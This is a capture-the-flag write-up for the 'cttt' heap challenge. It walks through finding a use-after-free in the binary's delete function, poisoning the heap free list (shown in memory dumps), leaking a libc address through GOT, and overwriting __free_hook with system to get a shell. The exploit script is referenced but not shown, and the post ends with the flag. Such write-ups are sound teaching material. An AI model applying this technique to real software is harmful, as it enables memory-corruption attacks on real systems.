I was working on it for one day (even after CTF finished) and I learned a lot.
I executed the program this way in the directory I downloaded the three files of challenge:
$ ./ld-linux-x86-64.so.2 --library-path . ./cttt
COVID tracker tracker tracker
=============================
1) Add tracker
2) Edit tracker
3) Remove tracker
4) List trackers
5) Exit
>
At the first look I guessed it should be a heap challenge; and it is.
I decompiled cttt
using Ghidra and found these interesting functions:
- add
- edit
- delete
- list
and these global variables:
- urls
- is_deleted
Functions functionality is obvious. Each is responsible for one of the menu items. But I analyzed those function statically to find out urls
and is_deleted
use cases. It got cleared:
char *urls[16];
char is_deleted[16];
And now functions are more clear:
- add =>
urls[index] = malloc(sizeof(char) * 0x40)
- edit =>
*urls[index] = some_input
- delete =>
free(urls[index]); is_deleted[index] = 1
- list => print every url allocated
char*
if isn't deleted.
The vulnerability is that delete
doesn't reset the urls[index]
value to zero! So it is a use-after-free.
I'm not so experienced in heap exploitation. so I started searching about heap structure and I learned some stuffs. But heap is more complicated to be understood in one day or two!
I found this amazing resource for learning about heap: https://heap-exploitation.dhavalkapil.com/
It's awesome! But I wanted to solve the challenge quickly. So I skipped a lot... I just started trial and error!
I used add
four times. and used edit
for each added URL. first one, AAAAAAAA
; second one BBBBBBBB
and ... this is the heap after that:
-----------------------first-------------------------
0x4056a0: 0x0000000000000000 0x0000000000000051
0x4056b0: 0x4141414141414141 0x000000000000000a
0x4056c0: 0x0000000000000000 0x0000000000000000
0x4056d0: 0x0000000000000000 0x0000000000000000
0x4056e0: 0x0000000000000000 0x0000000000000000
----------------------second-------------------------
0x4056f0: 0x0000000000000000 0x0000000000000051
0x405700: 0x4242424242424242 0x000000000000000a
0x405710: 0x0000000000000000 0x0000000000000000
0x405720: 0x0000000000000000 0x0000000000000000
0x405730: 0x0000000000000000 0x0000000000000000
-----------------------third-------------------------
0x405740: 0x0000000000000000 0x0000000000000051
0x405750: 0x4343434343434343 0x000000000000000a
0x405760: 0x0000000000000000 0x0000000000000000
0x405770: 0x0000000000000000 0x0000000000000000
0x405780: 0x0000000000000000 0x0000000000000000
-----------------------forth-------------------------
0x405790: 0x0000000000000000 0x0000000000000051
0x4057a0: 0x4444444444444444 0x000000000000000a
0x4057b0: 0x0000000000000000 0x0000000000000000
0x4057c0: 0x0000000000000000 0x0000000000000000
0x4057d0: 0x0000000000000000 0x0000000000000000
-----------------------------------------------------
0x4057e0: 0x0000000000000000 0x0000000000020821
0x4057f0: 0x0000000000000000 0x0000000000000000
I was understanding how it works... then I delete
ed 2 and 3 and 4: (Do you remember the vulnerability? we still access to each of pointers of deleted URLs.)
-----------------------first-------------------------
0x4056a0: 0x0000000000000000 0x0000000000000051
0x4056b0: 0x4141414141414141 0x000000000000000a
0x4056c0: 0x0000000000000000 0x0000000000000000
0x4056d0: 0x0000000000000000 0x0000000000000000
0x4056e0: 0x0000000000000000 0x0000000000000000
----------------------second-------------------------
0x4056f0: 0x0000000000000000 0x0000000000000051
0x405700: 0x0000000000000000<-- 0x0000000000405010
0x405710: 0x0000000000000000 | 0x0000000000000000
0x405720: 0x0000000000000000 | 0x0000000000000000
0x405730: 0x0000000000000000 | 0x0000000000000000
---------------------third-------|-------------------
0x405740: 0x0000000000000000 | 0x0000000000000051
0x405750: -->0x0000000000405700--- 0x0000000000405010
0x405760: | 0x0000000000000000 0x0000000000000000
0x405770: | 0x0000000000000000 0x0000000000000000
0x405780: | 0x0000000000000000 0x0000000000000000
----------|------------forth-------------------------
0x405790: | 0x0000000000000000 0x0000000000000051
0x4057a0: ---0x0000000000405750 0x0000000000405010
0x4057b0: 0x0000000000000000 0x0000000000000000
0x4057c0: 0x0000000000000000 0x0000000000000000
0x4057d0: 0x0000000000000000 0x0000000000000000
-----------------------------------------------------
0x4057e0: 0x0000000000000000 0x0000000000020821
0x4057f0: 0x0000000000000000 0x0000000000000000
Now lets add 2 URLs and edit them to some specific values:
-----------------------first-------------------------
0x4056a0: 0x0000000000000000 0x0000000000000051
0x4056b0: 0x4141414141414141 0x000000000000000a
0x4056c0: 0x0000000000000000 0x0000000000000000
0x4056d0: 0x0000000000000000 0x0000000000000000
0x4056e0: 0x0000000000000000 0x0000000000000000
----------------------second-------------------------
0x4056f0: 0x0000000000000000 0x0000000000000051
0x405700: 0x0000000000000000 0x0000000000405010
0x405710: 0x0000000000000000 0x0000000000000000
0x405720: 0x0000000000000000 0x0000000000000000
0x405730: 0x0000000000000000 0x0000000000000000
-----------------------third-------------------------
0x405740: 0x0000000000000000 0x0000000000000051
0x405750: 0x3131313131313131 0x000000000000000a
0x405760: 0x0000000000000000 0x0000000000000000
0x405770: 0x0000000000000000 0x0000000000000000
0x405780: 0x0000000000000000 0x0000000000000000
-----------------------forth-------------------------
0x405790: 0x0000000000000000 0x0000000000000051
0x4057a0: 0x3030303030303030 0x000000000000000a
0x4057b0: 0x0000000000000000 0x0000000000000000
0x4057c0: 0x0000000000000000 0x0000000000000000
0x4057d0: 0x0000000000000000 0x0000000000000000
-----------------------------------------------------
0x4057e0: 0x0000000000000000 0x0000000000020821
0x4057f0: 0x0000000000000000 0x0000000000000000
Awesome! Did you get it?! The last new
I used, caused an allocation on the same address that forth URL was pointing to. (0x4057a0
value was 0x405750
and the last allocation was on the former address.)
I need to repeat the same inputs. But before the last step (new
two times) edit
the forth URL and set its value to whatever address that I want to control.
Which address I wanna control?! 🤔
- What about Global Offset Table (GOT)? But RelRO is fully activated: (I haven't access to write in the .got section!)
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
I searched and found the __free_hook
solution. There is some global variables that is of function pointer type. (read more)
I need to rewrite the value of one of them. __free_hook
is a good choice because when I do delete
the first argument of free
function is of type char*
. It's like system
function. So I can change free hook value to system
address.
But there is another problem named ASLR! 😵
I don't know the address of __free_hook
!!
I should leak an address from LIBC to bypass this &%*#$ 💩!
If I can make some of the urls
(that is char*
) point to one of the records of GOT, I can then use list
to print that address (that is a specific address of LIBC).
Now I have all the puzzle pieces. Lets put them together.
I used add
three time at the first step and remove
two times at the second step for smaller exploit code.
I think there are enough comments on the code: exploit.py
I got the bash. there was a flag.txt
file. cat it!
And this is the flag:
nactf{d0nt_us3_4ft3r_fr33_zsouEFF4bfCI5eew}